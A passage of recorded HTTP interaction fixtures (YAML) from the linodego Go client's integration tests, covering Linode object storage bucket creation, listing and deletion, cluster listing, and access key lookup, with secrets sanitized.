"NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 41}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:02:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-iad-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-iad", "cluster": "us-iad-1", "size": 0, "objects": 0, "endpoint_type": "E1", "s3_endpoint": "us-iad-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:02:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-iad/go-bucket-test-def method: GET response: body: '{"hostname": "go-bucket-test-def.us-iad-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-iad", "cluster": "us-iad-1", "size": 0, "objects": 0, "endpoint_type": "E1", "s3_endpoint": "us-iad-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:02:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-iad-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageBucketsInCluster_List.yaml000066400000000000000000000123031474652371000351300ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1?page=1 method: GET response: body: '{"data": [{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "315" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageBuckets_List.yaml000066400000000000000000000122711474652371000333620ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-east","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets?page=1 method: GET response: body: '{"data": [{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "315" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:26 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageClusters_List.yaml000066400000000000000000000136231474652371000335700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/clusters?page=1 method: GET response: body: '{"data": [{"id": "us-east-1", "region": "us-east", "status": "available", "domain": "us-east-1.linodeobjects.com", "static_site_domain": "website-us-east-1.linodeobjects.com"}, {"id": "eu-central-1", "region": "eu-central", "status": "available", "domain": "eu-central-1.linodeobjects.com", "static_site_domain": "website-eu-central-1.linodeobjects.com"}, {"id": "ap-south-1", "region": "ap-south", "status": "available", "domain": "ap-south-1.linodeobjects.com", "static_site_domain": "website-ap-south-1.linodeobjects.com"}, {"id": "us-southeast-1", "region": "us-southeast", "status": "available", "domain": "us-southeast-1.linodeobjects.com", "static_site_domain": "website-us-southeast-1.linodeobjects.com"}, {"id": "us-iad-1", "region": "us-iad", "status": "available", "domain": "us-iad-1.linodeobjects.com", "static_site_domain": "website-us-iad-1.linodeobjects.com"}, {"id": "fr-par-1", "region": "fr-par", "status": "available", "domain": "fr-par-1.linodeobjects.com", "static_site_domain": "website-fr-par-1.linodeobjects.com"}, {"id": "us-ord-1", "region": "us-ord", "status": "available", "domain": "us-ord-1.linodeobjects.com", "static_site_domain": "website-us-ord-1.linodeobjects.com"}, {"id": "in-maa-1", "region": "in-maa", "status": "available", "domain": "in-maa-1.linodeobjects.com", "static_site_domain": "website-in-maa-1.linodeobjects.com"}, {"id": "se-sto-1", "region": "se-sto", "status": "available", "domain": "se-sto-1.linodeobjects.com", "static_site_domain": "website-se-sto-1.linodeobjects.com"}, {"id": "it-mil-1", "region": "it-mil", "status": "available", "domain": "it-mil-1.linodeobjects.com", "static_site_domain": "website-it-mil-1.linodeobjects.com"}, {"id": "us-sea-1", "region": "us-sea", "status": "available", "domain": "us-sea-1.linodeobjects.com", "static_site_domain": "website-us-sea-1.linodeobjects.com"}, {"id": "id-cgk-1", "region": "id-cgk", "status": "available", "domain": "id-cgk-1.linodeobjects.com", "static_site_domain": "website-id-cgk-1.linodeobjects.com"}, {"id": "jp-osa-1", "region": "jp-osa", "status": "available", "domain": "jp-osa-1.linodeobjects.com", "static_site_domain": "website-jp-osa-1.linodeobjects.com"}, {"id": "br-gru-1", "region": "br-gru", "status": "available", "domain": "br-gru-1.linodeobjects.com", "static_site_domain": "website-br-gru-1.linodeobjects.com"}, {"id": "us-lax-1", "region": "us-lax", "status": "available", "domain": "us-lax-1.linodeobjects.com", "static_site_domain": "website-us-lax-1.linodeobjects.com"}, {"id": "nl-ams-1", "region": "nl-ams", "status": "available", "domain": "nl-ams-1.linodeobjects.com", "static_site_domain": "website-nl-ams-1.linodeobjects.com"}, {"id": "us-mia-1", "region": "us-mia", "status": "available", "domain": "us-mia-1.linodeobjects.com", "static_site_domain": "website-us-mia-1.linodeobjects.com"}, {"id": "es-mad-1", "region": "es-mad", "status": "available", "domain": "es-mad-1.linodeobjects.com", "static_site_domain": "website-es-mad-1.linodeobjects.com"}, {"id": "us-iad-10", "region": "us-iad", "status": "available", "domain": "us-iad-10.linodeobjects.com", "static_site_domain": "website-us-iad-10.linodeobjects.com"}, {"id": "us-sea-9", "region": "us-sea", "status": "hidden", "domain": "us-sea-9.linodeobjects.com", "static_site_domain": "website-us-sea-9.linodeobjects.com"}, {"id": "au-mel-1", "region": "au-mel", "status": "hidden", "domain": "au-mel-1.linodeobjects.com", "static_site_domain": "website-au-mel-1.linodeobjects.com"}, {"id": "gb-lon-1", "region": "gb-lon", "status": "hidden", "domain": "gb-lon-1.linodeobjects.com", "static_site_domain": "website-gb-lon-1.linodeobjects.com"}, {"id": "in-bom-1", "region": "in-bom-2", "status": "hidden", "domain": "in-bom-1.linodeobjects.com", "static_site_domain": "website-in-bom-1.linodeobjects.com"}, {"id": "de-fra-1", "region": "de-fra-2", "status": "hidden", "domain": "de-fra-1.linodeobjects.com", "static_site_domain": "website-de-fra-1.linodeobjects.com"}, {"id": "sg-sin-1", "region": "sg-sin-2", "status": "hidden", "domain": "sg-sin-1.linodeobjects.com", "static_site_domain": "website-sg-sin-1.linodeobjects.com"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageKey_GetFound.yaml000066400000000000000000000201521474652371000333070ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 1654583, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": false, "bucket_access": null, "regions": [{"id": "ap-south", "s3_endpoint": "ap-south-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "br-gru", "s3_endpoint": "br-gru-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "es-mad", "s3_endpoint": "es-mad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "eu-central", "s3_endpoint": "eu-central-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "fr-par", "s3_endpoint": "fr-par-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "id-cgk", "s3_endpoint": "id-cgk-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "in-maa", "s3_endpoint": "in-maa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "it-mil", "s3_endpoint": "it-mil-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "jp-osa", "s3_endpoint": "jp-osa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "nl-ams", "s3_endpoint": "nl-ams-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "se-sto", "s3_endpoint": "se-sto-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-east", "s3_endpoint": "us-east-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "us-iad", "s3_endpoint": "us-iad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-lax", "s3_endpoint": "us-lax-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-mia", "s3_endpoint": "us-mia-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-ord", "s3_endpoint": "us-ord-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-sea", "s3_endpoint": "us-sea-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-southeast", "s3_endpoint": "us-southeast-1.linodeobjects.com", "endpoint_type": "E0"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/1654583 method: GET response: body: '{"id": 1654583, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[REDACTED]", "limited": false, "bucket_access": null, "regions": [{"id": "ap-south", "s3_endpoint": "ap-south-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "br-gru", "s3_endpoint": "br-gru-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "es-mad", "s3_endpoint": "es-mad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "eu-central", "s3_endpoint": "eu-central-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "fr-par", "s3_endpoint": "fr-par-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "id-cgk", "s3_endpoint": "id-cgk-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "in-maa", "s3_endpoint": "in-maa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "it-mil", "s3_endpoint": "it-mil-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "jp-osa", "s3_endpoint": "jp-osa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "nl-ams", "s3_endpoint": "nl-ams-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "se-sto", "s3_endpoint": "se-sto-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-east", "s3_endpoint": "us-east-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "us-iad", "s3_endpoint": "us-iad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-lax", "s3_endpoint": "us-lax-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-mia", "s3_endpoint": "us-mia-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-ord", "s3_endpoint": "us-ord-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-sea", "s3_endpoint": "us-sea-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-southeast", "s3_endpoint": "us-southeast-1.linodeobjects.com", "endpoint_type": "E0"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/1654583 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageKey_GetMissing.yaml000066400000000000000000000022761474652371000336540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/123 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:49 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' 